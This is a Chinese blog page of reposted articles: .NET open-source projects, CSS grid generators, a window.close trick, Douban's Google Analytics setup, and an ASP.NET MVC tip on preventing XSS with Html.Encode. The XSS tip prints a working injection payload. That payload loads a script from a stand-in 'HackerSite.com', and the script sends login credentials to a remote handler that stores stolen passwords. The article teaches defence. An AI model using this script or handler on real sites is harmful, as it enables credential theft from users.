Blue Whale是他们们正在开发的解决长连接的social game架构。

[C#]23个.NET开源项目

mikel阅读(976)

Eric Nelson是微软技术的传道者,也是MSDN UK Flash的技术编辑,他编写了一个列表,列出23个UK开发人员推荐的.NET开源项目。微软的一些开源项目如ASP.NET MVC、DLR、IronRuby、IronPython、MEF等则未列入其中。

Eric尝试只包含一个测试框架和一个mock框架,即使有很多其它的项目同样入围。他列出了以下项目:

  1. [TEST] xUnit.net – 用于TDD的最好的测试框架之一。
  2. [TEST] RhinoMocks mocking framework – 通过创建mock使测试更简单。
  3. [TEST] White for automation of Windows applications – 用代码驱动Windows程序来测试。
  4. [TEST] Gallio Automation Platform – 可以运行很多测试框架,如MSTest、xUnit、NUnit以及MbUnit。
  5. [DATA] Fluent NHibernate – Fluent NHibernate让你可以用C#代码来设置映射关系。
  6. [OOP] StructureMap Dependency Injection/Inversion of Control – 解耦类和依赖。
  7. [OOP] Managed Extensibility Framework – 从静态编译程序转换到动态语言程序
  8. [APPFX] s#arp architecture for web applications – 用ASP.NET MVC和NHibernate快速开发web应用程序。
  9. [APPFX] OpenRasta REST based framework for building web applications – 让你的程序拥有一个REST API接口。
  10. [APPFX] CSLA.NET Application Framework – .NET开发综合框架
  11. [APPFX] Spring.NET Application Framework – Web开发综合框架
  12. [RUNTIME] Mono enables .NET on Linux and Mac – 在Linux、BSD和OS X上使用.NET.
  13. [UTIL] Sandcastle Help File Builder – 创建MSDN样式的文档。
  14. [HELPER] EasyHook for Windows API Hooking – 用托管代码扩展非托管代码。
  15. [HELPER] Json.NET for working with JSON formatted data – 用一条语句序列化.NET对象。
  16. [HELPER] Excel Data Reader for Excel 97 to 2007 – 将Excel文件读取到Dataset中
  17. [HELPER] #SNMP Library – 对SNMP的包装。
  18. [HELPER] DotNetZip Library – ZIP库和示例。
  19. [HELPER] Visio Automation Library – 用C#、VB和其它语言驱动Viso
  20. [HELPER] PHPExcel is not just about Excel! – 读写Execel 2007、PDF、HTML等文档的PHP类
  21. [HELPER] Argotic Syndication Framework for RSS, Atom, OPML and more – 读写聚合内容的库
  22. [HELPER] NLog logging library -让你的程序易于调试
  23. A great directory of C# Open Source software – 一个非常好的库、框架和工具列表

还有一些提交的项目没有进入列表:

一些使用MS-PL许可证的微软项目:

MS-PL是OSI认可的许可证,GNU也认可它为免费软件许可证,它允许任何人查看源代码、修改源代码并发布修改后的源代码。而且此许可证并不限 制代码只能运行在Windows上,这样就可以将代码移植到其它操作系统,例如Mono(Linux上的.NET)和Monolight(Linux上的 Silverlight)。MonoDevelop有一个插件,可以用来在Linux和Mac OS X上开发ASP.NET MVC程序。

查看英文原文:23 .NET Open Source Projects

[CSS]15款非常有用的前端开发CSS网格(grid system)生成器

mikel阅读(811)

前端开发-网格生成器
现在的互联网上已经有很多能帮助设计师们的各种在线生成器,比如:图标(icon)生成器、背景生成器、按钮生成器和标志生成器等。Balkhis曾经为我们写过一片很不错的关于各种实用的在线生成器的文章。

如果没有这些在线的生成器,设计师们可能就要浪费很多精力在重复性的工作中了。今天彬Go将向大家分享一系列(15款)CSS网格布局生成器。如果大家不了解CSS网格布局的话,可以先看看彬Go之前的文章《960网格系统》、《使用Photoshop+960 Grid System模板进行网页设计》、《960 Grid System 基本原理及使用方法

1.网格布局生成器 By Pagecolumn

CSS-网格

2.网格生成器 By DesignByGrid

div-css-网格生成器

3.Blueprint CSS网格生成器

blueprint-grid-css-generator

4.网格生成器 by netProtozo

CSS-网格-生成器

5.Grid Designer (featured in Creative Review magazine)

grid-designer-by-mindplay1

6.网格系统生成器

前端开发-网格系统

7.YUI CSS 网格生成器

yui-css-框架-网格

8.Variable Grid System

网格系统

9.YAML 生成器

yaml-网格系统-生成器

10.布局生成器 by Pagecolumn

CSS-div-布局

11.Fisheye

网格系统

12.CSS 布局生成器 by CSSCreator

css-布局-网格-生成

13.Firdamatic

css网格系统

14.支持边框的CSS1~3列页面生成器

CSS-框架

15.CSS 布局生成器 by CSSPortal

CSS-布局

英文原文:15 Extremely Useful CSS Grid Layout Generator For Web Designers
翻译原文:15款非常有用的前端开发CSS网格(grid system)生成器

转载声明:
原载:彬Go——集前端开发/网页设计/网站可用性/用户体验于一体的趣味互联网生活
本文链接:http://blog.bingo929.com/15-extremely-useful-css-grid-layout-generator.html
如需转载必须以链接形式注明原载或原文地址,谢谢合作

[JavaScript]window.close关闭窗口,不弹出系统提示,直接关闭

mikel阅读(686)

当我们用这种方法:Response.Write("<script>window.close()</script>")
总是提示什么:你查看的网页试图关闭的提示
如何去掉提示,直接关闭窗体?
可以用以下方法:
Response.Write("<script>window.opener=null;window.close()</script>")
只有ie6才支持.
opener只要设为任何值都可以,不会出现提示

如果是通过子窗体关闭父窗体时怎么做呢
子窗体(弹出窗体):
同理可得:
Response.Write("<script>window.opener.top.opener=null;window.opener.top.close()</script>")

[SEO]浅析豆瓣的 Google Analytics 应用

mikel阅读(880)

大家好,我是owen,主要从事 Online marketing 方面的工作,平时主要专注于 SEM 和 Web analytics。这次很荣幸能够应 Denis 之邀,在我爱水煮鱼抛砖引玉,发表 Web analytics 方面的文章,希望以后能够在这里,与大家多多交流这方面的知识。今天首先给大家简单谈谈豆瓣网怎么应用 Google Analytics。

豆瓣 Google Analytics 代码加载模式

豆瓣从今年开始也加入 Google Analytics 的统计阵营。让我们通过它加载的 Google Analytics 源码,简单分析一下它都是怎么应用的。

我们先从豆瓣的源码来看看它的Google Analytics统计代码

豆瓣 Google Analytics 代码
豆瓣 Google Analytics 代码

我们知道一般默认的 Google Analytics代码如下:

默认  Google Analytics 统计代码
默认 Google Analytics 统计代码

两相对比,我们就会发现豆瓣加载 ga.js 的方式与默认的方式有些不太一样,由于豆瓣并没有采用 https 加密访问,所以撇弃了默认的ga.js加载方式。

默认的统计函数,pageTracker 也被豆瓣改成了 _ga ,这个只是名称定义上的区别,并没有什么实质的改变。豆瓣的主要应用是下面两个函数:

使用 _ga._addOrganic 识别非主流搜索引擎

再来看豆瓣比默认 Google Analytics 代码增加的部分,那就是多了数个 _ga._addOrganic ,这是 Google Analytics 添加自定义搜索引擎的代码。尽管 Google Analytics 对于主流的搜索引擎都能自动识别,但毕竟能识别的是国外的主流搜索引擎,在国内,像搜狐的 Sogou,QQ 的 soso,网易的有道等搜索引擎,都不能被 Google Analytics 正确识别,而被当作推荐来源。这时候我们就可以利用_addOrganic 参数来识别这些非主流搜索引擎,如豆瓣的做法。

使用 _addIgnoredOrganic 忽略关键字

除了添加自定义搜索引擎,豆瓣在最后还添加了如下这些代码:

_ga._addIgnoredOrganic("豆瓣");
_ga._addIgnoredOrganic("douban");
_ga._addIgnoredOrganic("豆瓣网");
_ga._addIgnoredOrganic("www.douban.com");

这些代码用来把引号中的关键词从搜索引擎的关键词报告中排除,而当成直接点击量来源。

为什么要这么做?因为一个知名的大网站,来自这些品牌词的搜索流量都非常大,常常是排在前几位的搜索关键词来源,而这通常是因为搜索引擎养成现在的 人都懒得记网址,直接搜索品牌名来记住域名。这些品牌词对于网站的关键词来源分析并没有很直接的帮助,所以在来自品牌词的流量很大的情况下,可以直接把这 些关键词识别成直接点击量来源。

关于自定义 Google Analytics 搜索引擎排除特定关键词为直接点击量来源的语法,可以参考 Google Code 上关于这方面的详细介绍。

通过 _setVar 识别用户

当我们登录豆瓣后,再来分析豆瓣的源码,会发现多了一个ga._setVar(”xxxx”)的 Google Analytics 参数。

豆瓣使用 Google Analytics 的._setVar参数来跟踪登录用户行为
豆瓣使用 Google Analytics 的._setVar参数来跟踪登录用户行为

_setVar() 函数是 Google Analytics 的用户定义函数,主要用于对特定来源的用户行为进行分类,例如可以对登录浏览的用户设置一个数值,然后在 Google Analytics 后台的访问者/用户定义 中查看其浏览属性。

Google Analytics 访问者/用户定义报告
Google Analytics 访问者/用户定义报告

分析豆瓣的源码可以知道,豆瓣对每一个登录后的用户,都赋以一个专门的 id 值,这样可以在用户定义报告里,看到整体的登录用户访问行为,乃至每个登录用户的浏览行为。通过这样设定后,豆瓣便可以轻易获取高忠诚度访问用户的访问行为。关于_setVar()的更多说明,请参阅 Google Analytics的技术文档

如何根据访问者在我的网站上访问的页面或在表单上做出的响应对其进行分类?在 Google Analytics 官方的帮助文件,也给出了另外一个应用案例

值得注意的是,原来在设置 _setVar() 函数的时候,整个网站的跳出率会出现重大的偏差,不过在最近的google analytics官方博客,指出该bug已经修正,客户在进行这方面设置的时候,还是要注意对比前后数据是否有重大偏差。

通过 _trackPageview 区分不同类型的评论

豆瓣上的书评,影评和乐评可以说是豆瓣网站的核心价值所在。一般评论的URL格式如下:

豆瓣上单条评论的URL
豆瓣上单条评论的URL

当我们查看该页面的网页源代码时,会发现有趣的现象:

豆瓣单条评论页的 Google Analytics 代码
豆瓣单条评论页的 Google Analytics 代码

我们知道,一般 Google Analytics 的_trackPageview() 括弧中的参数是留空的, Google Analytics 会自动捕获网址的 URL 参数,如果在 _trackPageview()括弧中输入特定的数值,那么在 Google Analytics 的报表中,URL 将是我们指定的参数,而不再是我们在地址栏看到的 URL。

如上面的例子,我们在 Google Analytics 中看到的URL将是/book/review/1946018/,而不再是我们在浏览器地址栏看到的/review/1946018/

当所在频道是电影或者音乐时,_trackPageview() 中的参数将根据所在频道的属性,变为/movie/xxxxx 或者 /music/xxxxx的数值。

豆瓣通过对的参数进行重新指定,主要有以下的好处:

保证了用户和搜索引擎看到的 URL 比较简短,达到 URL 对用户友好和对搜索引擎友好的目的;而在 Google Analytics 报告中,通过 内容/内容细目/ 报告,又能了解到各个频道总的浏览情况。

在GA的内容细目报告中,将会多出 /book/ /music/ /movie/ 这样的文件夹来,总而获得各个频道的合计浏览数据。

而如果只是使用默认 _trackPageview(),你将只能得到所有评论页面的浏览数据,而无法得到细分的各个频道的浏览数据。

关于_trackPageview()的具体的使用方法可参照 Google Code 的说明

注意事项:使用 _trackPageview() 参数重新指定 URL 之后,网站覆盖图的数据将受到影响。可参阅 Google Analytics 的官方帮助文件

除了豆瓣使用 _trackPageview() 来对URL进行重写,大众点评网也采用了类似的做法(应该是比豆瓣更早采用。。。因为是我在点评网任职时候实验的做法;那时候豆瓣还没有使用 Google Analytis 统计代码,呵呵),有兴趣的同学可以自己去研究点评的 Google Analytis 代码。

作者:owen
原文链接:浅析豆瓣的 Google Analytics 应用

[MVC]使用Html.Encode避免JavaScript注入攻击

mikel阅读(961)

原文地址:http://weblogs.asp.net/stephenwalther/archive/2008/06/23/asp-net-mvc-tip-7-prevent-javascript-injection-attacks-with-html-encode.aspx

摘要:在这个Tip中,你将了解到JavaScript注入攻击可能会比你想象的更加严重。Stephen Walther展示了如何使用JavaScript注入攻击来在一个ASP.NET MVC站点上干些大大的坏事,并解释了如何通过一种简单的方式来防止这种攻击。

当你从站点的浏览者那里收集表单数据,并将表单数据展示给其他浏览者时,你应该对表单数据进行编码。否则,你的站点大门将为JavaScript注入攻击打开。

例如,如果你创建了一个论坛,在将消息显示到Web页面之前,请确保对其进行了编码。如果你没有对消息进行编码,某些人可能会发表一个带JavaScript的消息,做一件大大的坏事。 

在这个Tip中,我将强调黑客可以利用JavaScript注入攻击 做非常严重的事情。让我惊奇的是,关心防止JavaScript注入攻击的Web开发者少之又少。这里的问题在于很多开发者并没有完全意识到这其中的危 险。他们认为使用JavaScript注入攻击最坏的情况也就是破坏页面结构。在这个Tip中,我将向你展示黑客如何利用JavaScript注入攻击来 盗取网站用户的用户名和密码。本文的要点是通过恐吓来教会你做正确的事情。

据Wikipedia称,JavaScript注入攻击已经“超越缓冲区溢出,成为最常见的公共安全弱点。”更恐怖的是,据Wikipedia称,70%的网站向JavaScript注入攻击敞开着(http://en.wikipedia.org/wiki/Cross-site_scripting)。因此,本文读者,你们当中的70%正在犯懒并危害着你们网站的用户。羞羞!

如何通过JavaScript盗取另一个用户的密码

这里介绍一下黑客如何利用JavaScript注入攻击做大大的坏事。假设你建立了一个Customer Survey应用程序,使用的是ASP.NET MVC。

Customer Survey应用程序是一个超级简单的应用程序。用户通过在一个表单中填写内容,可以对一个产品进行反馈。客户可以查看之前所有客户留下的反馈。

图1展示了反馈表单。

图1 – 反馈表单

注意反馈表单页面的顶部还包含了一个登录表单。Customer Survey应用程序将登录表单放到了母版页中(Web站点的常见场景)。

由于反馈表单显示了其它客户留下的反馈,该页面将对JavaScript注入攻击敞开大门。那些心怀恶意的黑客只需在反馈表单中敲入下面的代码:

<script src=http://HackerSite.com/EvilScript.js></script>

当该文本重新显示在反馈表单页中时,<script>标签会调用一个位于黑客的站点上的JavaScript脚本。该脚本如清单1所示。

清单1 – EvilScript.js

 1if (window.attachEvent)
 2     document.forms[0].attachEvent('onsubmit', fn);
 3 
 4function fn(e)
 5{
 6     var userName = document.getElementById("userName").value;
 7     var password = document.getElementById("password").value;
 8     var d = new Date();
 9     var url = "HackerSite/EvilHandler.ashx?userName=" + userName 
10        + "&password=" + password + "&d=" + d.valueOf();
11 
12     var script = document.createElement("script");
13     script.type = 'text/javascript';
14     script.src = url;
15     document.body.appendChild( script ); 
16}

清单1中的脚本将一个事件处理器附加到了登录表单的form submit事件上。当登录表单提交时,会执行fn() JavaScript函数。该函数截取了表单中的userName和password字段。接下来,该脚本向页面中动态注入了一 个<script>标签,并将userName和password传递给一个名为EvilHandler.ashx的(可能是远程的)处理 器。

EvilHandler的代码如清单2所示。EvilHandler简单地从查询字符串中拿到了用户名和密码,并存放在数据库中。

清单2 – EvilHandler.ashx

 1using System;
 2using System.Collections;
 3using System.Data;
 4using System.Linq;
 5using System.Web;
 6using System.Web.Services;
 7using System.Web.Services.Protocols;
 8using System.Xml.Linq;
 9 
10namespace CustomerSurvey.HackerSite
11{
12     [WebService(Namespace = "http://tempuri.org/")]
13     [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
14     public class EvilHandler : IHttpHandler
15     {
16 
17         public void ProcessRequest(HttpContext context)
18         {
19             // Get user name and password from URL
20             string userName = context.Request.QueryString["userName"];
21             string password = context.Request.QueryString["password"];
22             
23             // Store in database
24             HackerDataContext db = new HackerDataContext();
25             StolenPassword pwd = new StolenPassword();
26             pwd.userName = userName;
27             pwd.password = password;
28             db.StolenPasswords.InsertOnSubmit(pwd);
29             db.SubmitChanges();
30         }

31 
32         public bool IsReusable
33         {
34             get
35             {
36                 return false;
37             }

38         }

39     }

40}

假设这个Customer Feedback表单出现在一个银行网站中。在这种情况下,黑客现在就能访问任何人的帐户信息了,并能把任何人的钱转到位于开曼群岛的帐户中。很不错,才需要这么几行代码。

ASP.NET MVC不支持请求验证

这种危险在ASP.NET MVC应用程序中更为敏感一些。在ASP.NET Web Forms应用程序中——和ASP.NET MVC不同——你可以依赖一项称作请求验证(Request Validation)的特性。如果从一个页面提交的表单数据中含有看起来不安全的文字,请求验证就能检测到。如果你提交的表单数据中包含诸如尖括号这样 的文本,就会导致异常的抛出。

要知道ASP.NET MVC并不适用请求验证。在ASP.NET MVC应用程序中,你必须完全由自己来防止JavaScript注入攻击。

防止JavaScript注入攻击

防止JavaScript注入攻击其实很简单。确保每当你在视图中显示从用户那里获取的表单数据时都调用了Html.Encode()即可。

例如,下面是Index视图中用于显示用户反馈的部分代码:

 1<h1>Customer Feedback</h1>
 2<ul>
 3<% foreach (Survey survey in ViewData.Model)
 4   { 
%>
 5   <li>
 6    <%= survey.EntryDate.ToShortDateString() %>
 7    &mdash;
 8    <%= survey.Feedback %>
 9   </li>
10<% } %>
11</ul>

该代码包含一个循环,遍历了Suvey实体。为每个Survey实体显示了Feedback和EntryDate属性。

为了防止JavaScript注入攻击,你需要使用Html.Encode()辅助方法。下面是循环代码的正确编写方式:

 1<h1>Customer Feedback</h1>
 2<ul>
 3<% foreach (Survey survey in ViewData.Model)
 4    { 
%>
 5    <li>
 6     <%= survey.EntryDate.ToShortDateString() %>
 7     &mdash;
 8     <%= Html.Encode(survey.Feedback) %>
 9    </li>
10<% } %>
11</ul>

哪些内容需要编码

注意在前面的代码中,我并没有对EntryDate属性进行编码。在向页面显示EntryDate属性时无需进行编码的原因有二。

首先,EntryDate并不是由网站的访问者输入的。EntryDate属性的值是由代码生成的。黑客无法在这里注入危险代码。

假设的确是由访问者来输入EntryDate属性。由于EntryDate在SQL Server数据库中是作为DateTime类型存放的,黑客也不可能向其中注入恶意代码。因此,你无须担心是否需要对该属性进行编码。

通常,任何时候你在接受用户输入的文本内容时都要注意JavaScript注入攻击。例如,要小心地显示用户名。如果你允许用户创建属于他们自己的用户名,则用户可能偷偷地将一个恶意JavaScript字符串放在他们的用户名中(或一个指向色情图片的img标签)。

另外,小心超链接。很多blog应用程序允许匿名用户在发表评论时填写他们的网站链接。黑客可能会向链接中嵌入而已JavaScript。下面是一个简单的例子:

<href="javascript:alert('Something Evil!')">Mr. Hacker</a>

当你单击该链接时,JavaScript就会执行。在这种情况下,没有什么恶劣的事发生。但是,你可能执行的是窃取表单数据或cookies数据的代码。

验证、会话状态和HttpOnly Cookies

你可以利用JavaScript注入攻击来窃取Cookies。例如,你将用户的信用卡号存放在一个Cookies中,然后你可以向页面中注入JavaScript,使用document.cookie DOM属性来截取信用卡号。

ASP.NET Forms Authentication和ASP.NET Session State都使用Cookie。Forms Authentication依赖于一个存放在名为.ASPXAUTH的Cookie中的验证票据(Ticket)。Session State使用一个名为ASP.NET_SessionId的Cookie。如果可以窃取这些Cookies,你就能模仿其他网站用户并且去用户的会话状 态信息。

幸运的是,Microsoft对此采取了预防措施,使得很难窃取 Forms Authentication和Session State Cookies。它们的Cookies都是HttpOnly Cookie。HttpOnly Cookie是一种特殊的Cookie,它不能通过客户端代码读取。你只能在Web服务器上读取HttpOnly Cookie。

Microsoft Internet Explorer、Firefox和Opera都支持HttpOnly Cookies。Safari和一些比较老的浏览器——很不幸——不支持。因此,你仍需要注意为所有用户输入数据进行HTML编码,以避免黑客盗取 Forms Authentication和Session State Cookie。

小结

该Tip的目的是通过恐吓教会你做正确的事情。正如在简介中提到那样,JavaScript注入攻击是最常见的安全攻击类型。很多开发者并没有花费太多时间关心它。希望该Tip能够让你注意,每当在MVC视图中显示从用户那里收集来得数据时,都要进行编码。

你可以通过点击下面的链接来尝试本文讨论的代码。当你输入用户名和密码后,单击登录表单中的按钮,用户名和密码会出现在StolenPasswords数据库表中。
此处下载源代码:http://weblogs.asp.net/blogs/stephenwalther/Downloads/Tip7/Tip7.zip